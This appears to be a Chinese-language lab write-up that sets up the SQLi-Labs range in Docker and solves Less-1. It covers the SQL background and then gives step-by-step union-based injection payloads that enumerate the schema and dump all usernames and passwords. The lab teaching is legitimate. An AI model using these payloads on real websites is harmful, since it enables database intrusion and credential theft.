SQL注入(靶场搭建 及 Less-1)
搭建SQLi-Labs靶场
1 | # 搜索 sqli-labs 镜像 (可选) |
可能遇到的网络问题: 1
2
3Error response from daemon: Get "https://index.docker.io/v1/search?q=sqli-labs&n=25": dial tcp [2a03:2880:f130:83:face:b00c:0:25de]:443: i/o timeout
或者
Error response from daemon: Get "https://index.docker.io/v1/search?q=sqli-labs&n=25": read tcp [2409:8924:a62a:2ff:4905:c08b:ddb3:cc4d]:47256->[2600:1f18:2148:bc01:8ea1:e481:4fa3:8934]:443: read: connection reset by peer
Less-1 基于报错的单引号字符型GET注入
补充前置知识
源代码在/var/www/html
中
select
SELECT 1, 2, 3 是一个有效的 SQL 语句(不需要表名),它的意思是:选择三个固定的数值(1, 2, 3)作为查询
union
使用 UNION 时,每个 SELECT 语句必须具有相同数量的列,且对应列的数据类型必须相似
假设有两个表:
users 表: 1
2
3
4id | name | age
---+-------+-----
1 | Alice | 25
2 | Bob | 30
products 表: 1
2
3
4id | product_name | price
---+--------------+-------
1 | Laptop | 1000
2 | Phone | 500
执行: 1
2
3
4
5$sql = "SELECT name FROM users
UNION
SELECT product_name FROM products";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);1
2
3
4
5
6name
-----
Alice
Bob
Laptop
Phone
选择多列 1
2
3SELECT name, age FROM users
UNION
SELECT product_name, price FROM products
结果集 1
2
3
4
5
6name | age
-------+------
Alice | 25
Bob | 30
Laptop | 1000
Phone | 500
列名规则
- 使用第一个 SELECT 语句的列名作为关联数组的键
- 即使后续SELECT的列名不同,也使用第一个的列名
$row
的内容
mysql_fetch_array()
:从结果集中获取下一行数据,并将该行数据转换为一个数组
$row
是一个包含两种索引方式的数组,既包含数字索引也包含关联索引。
mysql_fetch_array($result)
返回: - [0]
=
name值, [1]
= age值 - ['name']
= name值,
['age']
= age值
1 | $row = [ |
所以 ?id=-1' union select 1,2,3 --+
中的1,没有回显是因为作为$row['id']
的值了,而源代码只取了$row['username']
和 $row['password']
order by
ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序
ORDER BY 2 中的数字表示: >1 = SELECT 列表中的第一个列
>2 = SELECT 列表中的第二个列
>3 = SELECT 列表中的第三个列
数字超出 SELECT 列表范围也会报错
limit
LIMIT 0,1
是 SQL
中的限制子句,意思是:从第0行开始,返回1行数据。
LIMIT offset, count
的格式: - 第一个数字
(0):偏移量(从0开始计数) - 第二个数字
(1):要返回的行数
所以 LIMIT 0,1
表示: -
从第1行开始(偏移量0表示跳过0行,即从第1行开始) -
返回1行数据
示例说明
假设 users 表有数据: 1
2
3
4
5
6id | name
---+------
1 | Alice
2 | Bob
3 | Charlie
4 | David
1 | SELECT * FROM users LIMIT 0,1; |
1.LIMIT 0,1
结果: 1
2
3id | name
---+------
1 | Alice
2.LIMIT 1,1
结果: 1
2
3id | name
---+------
2 | Bob
3.LIMIT 2,2
结果: 1
2
3
4id | name
---+---------
3 | Charlie
4 | David
库名表名列名
database()
可以输出数据库的名字
MySQL 里有个库叫
information_schema
。它不存业务数据,只存所有数据库、表、字段的名字
1. 查所有数据库名
- 表名:
schemata
- 关键列:
schema_name
- 怎么用: > 结果:
1
SELECT schema_name FROM information_schema.schemata;
mysql
,test
,security
... (返回所有数据库名)
2. 查所有表名
- 表名:
tables
- 关键列:
table_schema
(表属于哪个数据库)table_name
(表的名字)
- 怎么用(注入时最常用): > 结果:
1
2SELECT table_name FROM information_schema.tables
WHERE table_schema = 'security';users
,emails
... (返回security
数据库里的所有表名)
3. 查所有字段名
- 表名:
columns
- 关键列:
table_schema
(字段属于哪个数据库)table_name
(字段属于哪个表)column_name
(字段的名字)
- 怎么用: > 结果:
1
2SELECT column_name FROM information_schema.columns
WHERE table_schema = 'security' AND table_name = 'users';id
,username
,password
... (返回security
库的users
表里所有字段名)
group_concat
正常情况下,一个 SELECT
查询会返回多行数据。GROUP_CONCAT()
的作用就是把多行数据合并成一行,用一个指定的符号(比如逗号)隔开
1
GROUP_CONCAT([DISTINCT] 要合并的字段 [ORDER BY 排序字段] [SEPARATOR '分隔符'])
1
2SELECT group_concat(table_name) FROM information_schema.tables
WHERE table_schema="security"
Less-1 解题步骤
根据提示在url栏里添加
?id=1
,结果正常显示用户名密码,因此可以枚举id
的值来获取所有的用户名密码判断是字符型还是数字型,若
?id=2-1
出现的结果与?id=1
的结果相同就是数字型,否则是字符型1
2
3
4
5
6
7
8
9$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 这是字符型,因为$id被单引号包裹,是单引号闭合
//其他常见闭合类型:
$sql = "SELECT * FROM products WHERE name = \"$product_name\""; // 双引号闭合
// 单引号加括号闭合 ') -常见于PHP框架、INSERT/UPDATE语句
$sql = "INSERT INTO logs (message, user) VALUES ('$message', '$user')";
$sql = "UPDATE users SET email = '$email' WHERE id = $id"; //WHERE子句也可能有括号
$sql = "INSERT INTO table (col1, col2) VALUES (\"$val1\", \"$val2\")"; // 双引号加括号闭合
// 所以没有闭合的就是数字型判断闭合类似(根据报错内容慢慢试),这里结果是单引号闭合
目的是使用联合查询,所以要确定前面一个查询查了几列,保证列数相同
1
2
3
4?id=1' union select 1 --+
?id=1' union select 1,2 --+
?id=1' union select 1,2,3 --+
结果是3列的时候没有报错确定回显,由于第一个查询语句是对的,所以没有回显,我们设法将第一个查询语句的结果集为空
1
?id=-1' union select 1,2,3 --+
查询库名,这里结果为security
1
?id=-1' union select 1,2,database() --+
查询表名, 猜测大概率是 users 表,不使用group_concat也可以用limit 0,1的方式逐个查询
1
?id=-1' union SELECT 1, 2, group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'; --+
查询列名
1
?id=-1' union SELECT 1, 2, group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'; --+
查询所有用户名和密码
1
?id=-1' union SELECT 1, group_concat(username), group_concat(password) FROM users --+